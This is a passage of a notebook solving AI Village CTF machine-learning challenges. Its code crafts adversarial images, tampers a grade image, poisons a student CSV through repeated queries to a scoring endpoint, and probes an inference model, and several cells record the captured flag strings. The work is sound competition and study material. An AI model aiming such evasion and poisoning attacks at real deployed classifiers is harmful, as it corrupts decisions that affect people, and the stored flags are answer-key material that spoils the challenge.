tricks the model more and more\n# until it gets to at least 80% confidence\ntkr=0\n\nwhile cost < 0.80:\n    tkr+=1\n    # Check how close the image is to our target class and grab the gradients we\n    # can use to push it one more step in that direction.\n    # Note: It's really important to pass in '0' for the Keras learning mode here!\n    # Keras layers behave differently in prediction vs. train modes!\n    cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n    # Move the hacked image one step further towards fooling the model\n    hacked_image += gradients * learning_rate\n\n    # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n    hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n    hacked_image = np.clip(hacked_image, -1.0, 1.0)\n    if tkr%100==0:\n        print(tkr)\n        print(\"Model's predicted likelihood that the image is a hotdog: {:.8}%\".format(cost * 100))\n\nprint(tkr)\nprint(\"Model's predicted likelihood that the image is a hotdog: {:.8}%\".format(cost * 100))\n\n# De-scale the image's pixels from [-1, 1] back to the [0, 255] range\nimg = hacked_image[0]\nimg /= 2.\nimg += 0.5\nimg *= 255.\n\n# Save the hacked image!\nim = Image.fromarray(img.astype(np.uint8))\nim.save(\"hotterdog.png\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:07:54.672524Z","iopub.execute_input":"2022-08-19T12:07:54.673511Z","iopub.status.idle":"2022-08-19T12:13:21.177034Z","shell.execute_reply.started":"2022-08-19T12:07:54.673463Z","shell.execute_reply":"2022-08-19T12:13:21.175777Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\nfrom PIL import Image\nimport base64\nimport requests\nimport json\n\n\nIMAGE_DIMS = (224, 224)\n\n#img = Image.open(\"/kaggle/input/ai-village-ctf/hotterdog/chester.png\")\nimg=Image.open('./hotterdog.png')\nimg = img.resize(IMAGE_DIMS)\ndisplay(img)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\nscore = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps(data))\nprint(score.content)\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.178406Z","iopub.execute_input":"2022-08-19T12:13:21.178766Z","iopub.status.idle":"2022-08-19T12:13:21.763137Z","shell.execute_reply.started":"2022-08-19T12:13:21.178735Z","shell.execute_reply":"2022-08-19T12:13:21.762059Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\nimport cv2\nimport numpy as np \n\nfor clart in range(57,66):\n    IMAGE_DIMS = (224, 224)\n    RAT=1/2\n    ID=int(IMAGE_DIMS[0]*RAT)\n    apple = cv2.imread('../input/ai-village-ctf/hotterdog/chester.png')#, cv2.IMREAD_COLOR)\n    apple=cv2.resize(apple,IMAGE_DIMS)\n    orange = cv2.imread(f\"../input/hotdog-nothotdog/hotdog-nothotdog/hotdog-nothotdog/train/hotdog/{clart}.jpg\")#, cv2.IMREAD_COLOR) \n    orange=cv2.resize(orange,IMAGE_DIMS)\n\n    #display(apple)\n    #display(orange)\n    apple_orange = np.hstack((apple[:, :112], orange[:, 112:]))\n\n    # generate Gaussian pyramid for apple\n    apple_copy = apple.copy()#create a copy of the apple image\n    gp_apple = [apple_copy] #creating the gaussian pyramid and pass as a list\n    for i in range(6):\n         apple_copy = cv2.pyrDown(apple_copy)\n         gp_apple.append(apple_copy)\n\n    # generate Gaussian pyramid for orange\n    orange_copy = orange.copy()\n    gp_orange = [orange_copy]\n    for i in range(6):\n         orange_copy = cv2.pyrDown(orange_copy)\n         gp_orange.append(orange_copy) \n\n    # generate Laplacian Pyramid for apple\n    apple_copy = gp_apple[5]\n    lp_apple = [apple_copy]\n    for i in range(5, 0, -1):\n         gaussian_expanded = cv2.pyrUp(gp_apple[i])\n         laplacian = cv2.subtract(gp_apple[i-1], gaussian_expanded)\n         lp_apple.append(laplacian)\n    #Doing the same from orange, \n    # generate Laplacian Pyramid for orange\n    orange_copy = gp_orange[5]\n    lp_orange = [orange_copy]\n    for i in range(5, 0, -1):\n         gaussian_expanded = cv2.pyrUp(gp_orange[i])\n         laplacian = cv2.subtract(gp_orange[i-1], gaussian_expanded)\n         lp_orange.append(laplacian) \n\n    # Now add left and right halves of images in each level\n    apple_orange_pyramid = []\n    n = 0\n    for apple_lap, orange_lap in zip(lp_apple, lp_orange):\n         n += 1\n         cols, rows, ch = apple_lap.shape\n         laplacian = np.hstack((apple_lap[:, 0:int(cols*RAT)], orange_lap[:, int(cols*(1-RAT)):]))#dividing columns of both images into half\n         #print(laplacian.shape)\n         apple_orange_pyramid.append(laplacian)#appending the variable to list\n\n\n    # now reconstructing our image using pyrUp and stating pyramid levels\n    apple_orange_reconstruct = apple_orange_pyramid[0]\n    for i in range(1, 6):\n         apple_orange_reconstruct = cv2.pyrUp(apple_orange_reconstruct)\n         apple_orange_reconstruct = cv2.add(apple_orange_pyramid[i], apple_orange_reconstruct) \n\n    #using -1 to maintain coloured saturation\n    plt.imshow( apple_orange_reconstruct)#[:, :, ::-1 ])\n\n    cv2.imwrite('image.png', apple_orange_reconstruct)#[:, :, ::-1 ])\n\n    img=Im.open(\"./image.png\")\n    print(clart)\n    display(img)\n\n    img_bytes = img.tobytes()\n\n    b64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\n    try:\n        r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.764705Z","iopub.execute_input":"2022-08-19T12:13:21.765013Z","iopub.status.idle":"2022-08-19T12:13:21.77447Z","shell.execute_reply.started":"2022-08-19T12:13:21.764984Z","shell.execute_reply":"2022-08-19T12:13:21.773477Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"'''\n# Submission Helper\n\nIMAGE_DIMS = (224, 224)\nIMAGE_DIMS2 = (224, 224)\n\nimg = Im.open(f\"{dir_name}/hotterdog/chester.png\")\nimg = img.resize(IMAGE_DIMS)\n\nimg2=Im.open(\"../input/hotdog-nothotdog/hotdog-nothotdog/hotdog-nothotdog/train/hotdog/10.jpg\")\nimg2 = img2.resize(IMAGE_DIMS)\n\nimport cv2\n\n# read two images\nfor i in [57,73,85,167,181,195]:#range(57,200):\n    src1 = cv2.imread(f\"{dir_name}/hotterdog/chester.png\", cv2.IMREAD_COLOR)\n    src1=cv2.resize(src1,IMAGE_DIMS)\n    src2 = cv2.imread(f\"../input/hotdog-nothotdog/hotdog-nothotdog/hotdog-nothotdog/train/hotdog/{i}.jpg\", cv2.IMREAD_COLOR)\n    src2=cv2.resize(src2,IMAGE_DIMS2)\n    # add or blend the images\n    im_v = cv2.addWeighted(src1, .6, src2, .3, 0.0)\n    #im_v = cv2.vconcat([src2, src1])\n  \n\n    cv2.imwrite('image.png', im_v)\n\n    img=Im.open(\"./image.png\")\n    #print(i)\n    display(img)\n\n    img_bytes = img.tobytes()\n\n    b64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\n    try:\n        r = requests.post(\"https://hotterdog.fly.dev/score\", data=json.dumps({\"input\": b64_img_bytes.decode()}))\n        print(r.text)\n        #if \"What even is this?\" not in r.text:\n        #    print(i)\n        #    print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n'''","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.775762Z","iopub.execute_input":"2022-08-19T12:13:21.77641Z","iopub.status.idle":"2022-08-19T12:13:21.789574Z","shell.execute_reply.started":"2022-08-19T12:13:21.776373Z","shell.execute_reply":"2022-08-19T12:13:21.788645Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"hotterdog\", \"ZYIMDOOKGOKQDD5WOEHPXTXUHO6OUDK7L{CE5OQD6OG2DLPW0MZDRTQZ56Y2MVY7}JH8NXKOR5H76XG5518TGNQQG9G5AK5SOYPL9R8OOIQOLQJKETFXATVQ911TV6FX\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.791056Z","iopub.execute_input":"2022-08-19T12:13:21.791649Z","iopub.status.idle":"2022-08-19T12:13:21.80913Z","shell.execute_reply.started":"2022-08-19T12:13:21.791616Z","shell.execute_reply":"2022-08-19T12:13:21.807972Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo it!\n","metadata":{}},{"cell_type":"code","source":"import random\nI=Im.open(f'{dir_name}/honorstudent/f.png')\ndisplay(I)\ndata=np.asarray(I)\n#(data.shape)\n#print(data)\n\nfor y in range(12):\n    for x in range(14,28):\n        if data[y][x]>0:\n            data[y][x]=0\n\nfor x in range(10,14):\n    for y in range(28):\n        if y<12 or y>15:\n            data[y][x]=0\n            \nfor y in range(28):\n    for x in range(8):\n        data[y][x]=0\n\n\ncoords=[[3,14],[4,15],[5,16],[7,17],[9,18],[11,19],[13,20],[15,21],[17,22],[19,23],[21,24],[23,25],[12,23]]\nnew_coords=[]\nfor c in coords:\n    y,x=c\n    new_coords.append(c)\n    new_coords.append([y,28-x])\nfor c in new_coords:\n    y,x=c\n    data[y][x-1]=255\n    data[y+1][x-1]=255\n    data[y-1][x-1]=255\n    data[y-2][x-1]=90\n    data[y+2][x-1]=90\n    data[y][x-2]=255\n    data[y][x]=255\n    data[y+1][x+1]=90\n    data[y+1][x+2]=90\n\nfor x in range(2,25):\n    for y in range(12,16):\n        data[y][x]=250\n\nim = Image.fromarray(data)\ndisplay(im)\nim.save(\"A.png\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.810788Z","iopub.execute_input":"2022-08-19T12:13:21.81146Z","iopub.status.idle":"2022-08-19T12:13:21.837213Z","shell.execute_reply.started":"2022-08-19T12:13:21.811405Z","shell.execute_reply":"2022-08-19T12:13:21.836265Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\nwith open(f\"{dir_name}/honorstudent/f.png\", \"rb\") as f:\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-26T06:56:14.534918Z","iopub.execute_input":"2022-08-26T06:56:14.536007Z","iopub.status.idle":"2022-08-26T06:56:15.184085Z","shell.execute_reply.started":"2022-08-26T06:56:14.535963Z","shell.execute_reply":"2022-08-26T06:56:15.182841Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"A.png\", \"rb\")as f:#open(f\"{dir_name}/honorstudent/f.png\", \"rb\") as f:\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.838778Z","iopub.execute_input":"2022-08-19T12:13:21.839636Z","iopub.status.idle":"2022-08-19T12:13:21.967967Z","shell.execute_reply.started":"2022-08-19T12:13:21.8396Z","shell.execute_reply":"2022-08-19T12:13:21.967005Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"honorstudent\", \"H0SCTW8J34YX1DRO53WT3SPYFECJQGJ2YVRSM3DFOU93}ULSGCZO8LZHAJOPV8A4T0LLT6UVVG6EFXSFBZQQZETI37{6RV4PHZG4C2ENFO22TFZSIKT48WPMJCREBBLL\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:21.970535Z","iopub.execute_input":"2022-08-19T12:13:21.971557Z","iopub.status.idle":"2022-08-19T12:13:21.981898Z","shell.execute_reply.started":"2022-08-19T12:13:21.971507Z","shell.execute_reply":"2022-08-19T12:13:21.980662Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`","metadata":{}},{"cell_type":"code","source":"img = Image.open('../input/ai-village-ctf/secret.sloth/secret-sloth.png')\ndisplay(img)","metadata":{"execution":{"iopub.status.busy":"2022-08-23T12:41:04.166127Z","iopub.execute_input":"2022-08-23T12:41:04.166521Z","iopub.status.idle":"2022-08-23T12:41:04.322089Z","shell.execute_reply.started":"2022-08-23T12:41:04.166483Z","shell.execute_reply":"2022-08-23T12:41:04.320680Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimg = cv2.imread('../input/ai-village-ctf/secret.sloth/secret-sloth.png')[:,:,:]#[:,:,2]\nf = np.fft.ifft2(img)\nfshift = np.fft.ifftshift(f)\nmagnitude_spectrum = 20*(np.abs(fshift))\n \nplt.imshow(magnitude_spectrum,cmap='gray')\n","metadata":{"execution":{"iopub.status.busy":"2022-08-23T16:53:24.584609Z","iopub.execute_input":"2022-08-23T16:53:24.585020Z","iopub.status.idle":"2022-08-23T16:53:24.838759Z","shell.execute_reply.started":"2022-08-23T16:53:24.584986Z","shell.execute_reply":"2022-08-23T16:53:24.837627Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\nfrom PIL import Image \na=Image.open(\"../input/ai-village-ctf/secret.sloth/secret-sloth.png\")\na","metadata":{"execution":{"iopub.status.busy":"2022-08-23T07:08:36.838841Z","iopub.execute_input":"2022-08-23T07:08:36.839290Z","iopub.status.idle":"2022-08-23T07:08:36.992919Z","shell.execute_reply.started":"2022-08-23T07:08:36.839256Z","shell.execute_reply":"2022-08-23T07:08:36.991720Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n#'9tEXtSoftware Matplotlib version3.4.3, https://matplotlib.org/'\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": 'FLAG{}'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-26T06:55:06.446545Z","iopub.execute_input":"2022-08-26T06:55:06.447311Z","iopub.status.idle":"2022-08-26T06:55:07.009316Z","shell.execute_reply.started":"2022-08-26T06:55:06.447265Z","shell.execute_reply":"2022-08-26T06:55:07.008145Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n#'9tEXtSoftware Matplotlib version3.4.3, https://matplotlib.org/'\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": 'FLAG{SPECTRAL}'}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-23T16:22:21.709195Z","iopub.execute_input":"2022-08-23T16:22:21.710357Z","iopub.status.idle":"2022-08-23T16:22:22.048791Z","shell.execute_reply.started":"2022-08-23T16:22:21.710316Z","shell.execute_reply":"2022-08-23T16:22:22.047638Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"sloth\", \"GZXGB79VMWBXPF2MNUSP1DTCUS3W6BAIKPLK{WVK0A6P8NPKPW1RLN91VE3YCTYH5OSXTMHU}EZ8BGDMJG3V9FA9M1ALJ4WTP47YOX8L5LAJ2Y2TJ5U7U7ROL2HK991E\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:22.660287Z","iopub.execute_input":"2022-08-19T12:13:22.66073Z","iopub.status.idle":"2022-08-19T12:13:22.672254Z","shell.execute_reply.started":"2022-08-19T12:13:22.660685Z","shell.execute_reply":"2022-08-19T12:13:22.671064Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"code","source":"d=pd.read_csv('../input/ai-village-ctf/bad2good/math.csv')\n#display(d.tail(1))\nd.Grade=d['Grade']//2\nd.Absences=d.Absences+2\nd.Demerits=d.Demerits+2\n#d.Score=d.Score-8-6-30-9-10\n\nd.loc[30,\"Grade\"] =100#+=28\nd.loc[30,\"Absences\"]=0\nd.loc[30,\"Demerits\"]=0\n#d.loc[30,\"Score\"] =100\n\n#d['Grade']=d['Grade']-15*(d['Demerits']>2)-15*(d['Absences']>4)\n\n#d['Absences']=(d['Score']<70)*d['Absences']\n#d['Demerits']=(d['Score']<70)*d['Demerits']\n\n#d['Absences']=d[[\"Absences\", \"Demerits\"]].max(axis=1)\n#d['Demerits']=d['Absences']\n\nd['Score']=d.Grade-3*d.Absences-5*d.Demerits\n\n#d.loc[20,\"Grade\"] +=10\n#d.loc[20,\"Score\"]=0\n#d.loc[13,\"Grade\"] +=11\n#d.loc[24,\"Grade\"]+=13\n#d.loc[13,\"Score\"]=0\n#d.loc[24,\"Score\"]=0\n\ndisplay(d.tail(1))\n\nd.to_csv('good_student.csv')\ndisplay(d.head())","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:22.673654Z","iopub.execute_input":"2022-08-19T12:13:22.67465Z","iopub.status.idle":"2022-08-19T12:13:22.711236Z","shell.execute_reply.started":"2022-08-19T12:13:22.674605Z","shell.execute_reply":"2022-08-19T12:13:22.709971Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"display(d.head(31))\n# Submission Helper\n\n#with open(f\"{dir_name}/bad2good/math.csv\", \"r\") as f:\nwith open(\"./good_student.csv\") as f:\n    try:\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:22.712762Z","iopub.execute_input":"2022-08-19T12:13:22.713772Z","iopub.status.idle":"2022-08-19T12:13:22.863823Z","shell.execute_reply.started":"2022-08-19T12:13:22.713736Z","shell.execute_reply":"2022-08-19T12:13:22.862595Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import random\n\ndef dunk():\n    last=1\n    tkr=0\n    d=pd.read_csv('../input/ai-village-ctf/bad2good/math.csv')\n    display(d.head(31))\n    d.loc[30,\"Grade\"]  =0#+=28\n    d.loc[30,\"Absences\"] =0#s2\n    d.loc[30,\"Demerits\"] =-20#s3\n    \n    backup=d.copy()\n    \n    go=True\n    \n    while go:\n        tkr+=1\n        \n            \n        inter=d.copy()\n        \n        for V in range(20):\n            p=random.randint(1,2)\n            q=random.randint(1,5)\n            a=random.randint(3,5)\n            row=random.randint(0,29)\n            inter.loc[row,inter.columns[a]]=inter.loc[row,inter.columns[a]]+((-1)**p)*q\n            \n            #if inter.loc[row,inter.columns[a]]<0:\n            #    inter.loc[row,inter.columns[a]]=0\n        \n        inter['Score']=inter.Grade-3*inter.Absences-5*inter.Demerits\n        \n        # Submission Helper\n        inter.to_csv('good_student.csv')\n        \n        #with open(f\"{dir_name}/bad2good/math.csv\", \"r\") as f:\n        with open(\"./good_student.csv\") as f:\n            g=pd.read_csv('./good_student.csv')\n            #print(g['Score'].sum())\n            try:\n                r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n                #print(int(r.text[1:3]))\n                if tkr%100==0:\n                    print(tkr)\n                    print(r.text)\n                if \"Tampering\" not in r.text:\n                   if \"not good enough\" not in r.text:\n                     print(r.text)\n                     go=False\n                     break\n                   else:\n                    t=3\n                    if r.text[t-1]==\".\":\n                        t-=1\n                    if int(r.text[1:t])>last:\n                        #if random.randint(1,100)>50 or int(r.text[1:t])>=last:\n                        print(tkr)\n                        print(r.text)\n                        display(g.head(31))\n                        last=int(r.text[1:t])\n                        d=inter.copy()\n                        #if last>18:\n                        #    print(r.text)\n                #else:\n                #   if tkr%100==0: \n                #    d=backup.copy()\n                    \n            except requests.exceptions.ConnectionError:\n                print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:22.867663Z","iopub.execute_input":"2022-08-19T12:13:22.868036Z","iopub.status.idle":"2022-08-19T12:13:22.882738Z","shell.execute_reply.started":"2022-08-19T12:13:22.868002Z","shell.execute_reply":"2022-08-19T12:13:22.881429Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"dunk()","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:22.884823Z","iopub.execute_input":"2022-08-19T12:13:22.885355Z","iopub.status.idle":"2022-08-19T12:13:23.059985Z","shell.execute_reply.started":"2022-08-19T12:13:22.885312Z","shell.execute_reply":"2022-08-19T12:13:23.058895Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"","metadata":{}},{"cell_type":"code","source":"#display(d.head(31))\n# Submission Helper\n\n#with open(f\"{dir_name}/bad2good/math.csv\", \"r\") as f:\nwith open(\"./good_student.csv\") as f:\n    try:\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.062794Z","iopub.execute_input":"2022-08-19T12:13:23.06324Z","iopub.status.idle":"2022-08-19T12:13:23.201392Z","shell.execute_reply.started":"2022-08-19T12:13:23.063208Z","shell.execute_reply":"2022-08-19T12:13:23.200173Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"bad_to_good\",\"wtNp4FK9hPJSJU4SnJCX5UID9SXGYHSM9V02XIHEP_BZQK8HX9OL85TtVDXZA78_AUAB92BeZALPG2aMQ4YM}bVL888NXLKGo9WOSFH53YFQ4B_JS366J8dD1{UWHQ0N\")# \"wt7p7F0UhHZF6NFPnZM1W9LSP55GYVH60NBA175LE_GW7PUH6DOOCWQtHA36UAD_AUDSXFXeQUMLRRaGRS7E}b1LAZLPHVNGo10EJU9ZBDM4E4_6Y038HXdN5{JVDX8R\")#\"wt4p3FE8hMU2DLQXnVLK4KMN2KXK67E95LYVFRKXR_FWYO81NU3KC20tY8ITKXF_AGTB9CXe0B1LHPaCP2OZ}bBLYNDP8NKGo7NQ14K5TB7OXF_KAF7YLIdCQ{KX3M5F\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.205126Z","iopub.execute_input":"2022-08-19T12:13:23.205701Z","iopub.status.idle":"2022-08-19T12:13:23.216119Z","shell.execute_reply.started":"2022-08-19T12:13:23.2056Z","shell.execute_reply":"2022-08-19T12:13:23.214926Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Inference (id: inference) -- 400 Points\n\n### Scenario\n\nModel model on the wall, who is the fairest of them all?\n\n?gnidaer llits uoy era yhW .uoy htiw skcans thguorb ev'dluohs uoY .skcans rof pots t'noD .won oG .tsaf oG .niW .galf eht teG .ledom eht esreveR\n\n### Objective\n\nRetrieve the images that spell the flag. Wrap any text in `FLAG{}`\n\n**If you need a hint, there's a guy named `moo` somewhere.**","metadata":{}},{"cell_type":"code","source":"#RUN THIS TO SEE THE LETTERS FOR THE KEY.\n'''\nfrom PIL import Image\nkeys=[[],[],[],[],[],[]]\n#for G in set(training_letter.iloc[:,0].values.tolist()):\n    #print(alphabet[G-1])\n    #print(G)\nceilings=[.95,.95,.95,.95,.95,.95]\ntraining_letter = pd.read_csv('../input/emnist/emnist-letters-train.csv')#'../input/tmnist-alphabet-94-characters/94_character_TMNIST.csv')#\n#training_letter.drop(['names'],axis=1,inplace=True)\ntraining_letter2=training_letter#[training_letter['labels']==G]\ny1 = np.array(training_letter2.iloc[:,0].values)\nx1 = np.array(training_letter2.iloc[:,1:].values)\n\n#train_images = x1 \n\n#train_images_number = train_images.shape[0]\n\n#train_images_height = 28\n#train_images_width = 28\n#train_images_size = train_images_height*train_images_width\n\n#train_images = train_images.reshape(train_images_number, train_images_height, train_images_width, 1)\n#print(14799/(26+10))\nq='_abcdefghijklmnopqrstuvwxtz'\nGOES=88799\nprint(len(x1))\nfor v0 in range(0,min(GOES,len(x1))):#,69):#200):    \n    if v0%100==0:\n        print(v0)\n    i=v0\n    g=x1[i].reshape([28,28])\n    #display(g)\n    #\n    #print(g.dtype)\n    #g=g.astype(np.int8)\n    #g.dtype=np.uint8\n    data=g\n    #info = np.max(g)\n    data = data.astype(np.float64) / np.max(g) # normalize the data to 0 - 1\n    data = 255 * data # Now scale by 255\n    img = data.astype(np.uint8)\n\n\n    #display(img)\n    img=Image.fromarray(img)\n    #display(img)\n    image=img.resize((32, 32))\n    angle = 90\n    image = image.transpose(Image.FLIP_LEFT_RIGHT)\n    image = image.rotate(angle, expand=True)\n    #display(image)\n    image = image.transpose(Image.FLIP_LEFT_RIGHT)\n    g=np.asarray(image)\n\n    g=g / 255.0\n\n    #rgb = scipy.misc.toimage(np_array)\n\n    #img = cv2.imread('your_image.jpg')\n    #res = cv2.resize(img, dsize=(32, 32), interpolation=cv2.INTER_CUBIC)\n\n    f=[g.tolist()]\n    #print(f)\n    #print(len(f[0]))\n    #print(len(f[0][0]))\n    ans=[]\n    for a in f:\n        ans2=[]\n        for b in a:\n            g=[[c]for c in b][::-1]\n            ans2.append(g)\n        ans.append(ans2)\n\n    #print(x.shape)\n    #print(x)\n\n    #print(ans)\n\n    try:\n        response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": ans}))#x.tolist()}))\n        #print(response.text)\n        #display(response.text.outputs)\n        #if max([int(r)for r in response.text['outputs']])>.8:\n        #display(image)\n        \n        #print(response.text)\n        R=response.text[response.text.index('[')+2:response.text.index(']')]\n        R=R.split(', ')\n        R=[float(x)for x in R]\n        for ii in range(6):\n            if R[ii]>ceilings[ii]:\n                ceilings[ii]=R[ii]\n                \n                print(ii,R[ii],q[y1[v0]])\n                display(image)\n                keys[ii].append(image)\n                #break\n                #floors[ii]=R[ii]\n                \n            #answers[ii]+=R[ii]/min(GOES,len(x1))\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n'''\n\n","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:13:23.217765Z","iopub.execute_input":"2022-08-19T12:13:23.218192Z","iopub.status.idle":"2022-08-19T12:13:23.233221Z","shell.execute_reply.started":"2022-08-19T12:13:23.218151Z","shell.execute_reply":"2022-08-19T12:13:23.23196Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#same with this!\n'''\nfrom PIL import Image\nkeys=[[],[],[],[],[],[]]\nceilings=[.95,.95,.95,.95,.95,.95]\ntraining_letter = pd.read_csv('../input/tmnist-alphabet-94-characters/94_character_TMNIST.csv')#'../input/tmnist-alphabet-94-characters/94_character_TMNIST.csv')#\ntraining_letter.drop(['names'],axis=1,inplace=True)\ntraining_letter2=training_letter#[training_letter['labels']==G]\ny1 = np.array(training_letter2.iloc[:,0].values)\nx1 = np.array(training_letter2.iloc[:,1:].values)\n\n#train_images = x1 \n\n#train_images_number = train_images.shape[0]\n\n#train_images_height = 28\n#train_images_width = 28\n#train_images_size = train_images_height*train_images_width\n\n#train_images = train_images.reshape(train_images_number, train_images_height, train_images_width, 1)\n#print(14799/(26+10))\n#q='_abcdefghijklmnopqrstuvwxtz'\nGOES=len(x1)\nprint(len(x1))\nfor v0 in range(0,min(GOES,len(x1))):#,69):#200):    \n    if v0%100==0:\n        print(v0)\n    i=v0\n    g=x1[i].reshape([28,28])\n    #display(g)\n    #\n    #print(g.dtype)\n    #g=g.astype(np.int8)\n    #g.dtype=np.uint8\n    data=g\n    #info = np.max(g)\n    data = data.astype(np.float64) / np.max(g) # normalize the data to 0 - 1\n    data = 255 * data # Now scale by 255\n    img = data.astype(np.uint8)\n\n\n    #display(img)\n    img=Image.fromarray(img)\n    #display(img)\n    image=img.resize((32, 32))\n    #display(image)\n    image = image.transpose(Image.FLIP_LEFT_RIGHT)\n    #display(image)\n    g=np.asarray(image)\n\n    g=g / 255.0\n\n    #rgb = scipy.misc.toimage(np_array)\n\n    #img = cv2.imread('your_image.jpg')\n    #res = cv2.resize(img, dsize=(32, 32), interpolation=cv2.INTER_CUBIC)\n\n    f=[g.tolist()]\n    #print(f)\n    #print(len(f[0]))\n    #print(len(f[0][0]))\n    ans=[]\n    for a in f:\n        ans2=[]\n        for b in a:\n            g=[[c]for c in b][::-1]\n            ans2.append(g)\n        ans.append(ans2)\n\n    #print(x.shape)\n    #print(x)\n\n    #print(ans)\n\n    try:\n        response = requests.post(\"https://inference.fly.dev/score\", data = json.dumps({\"input\": 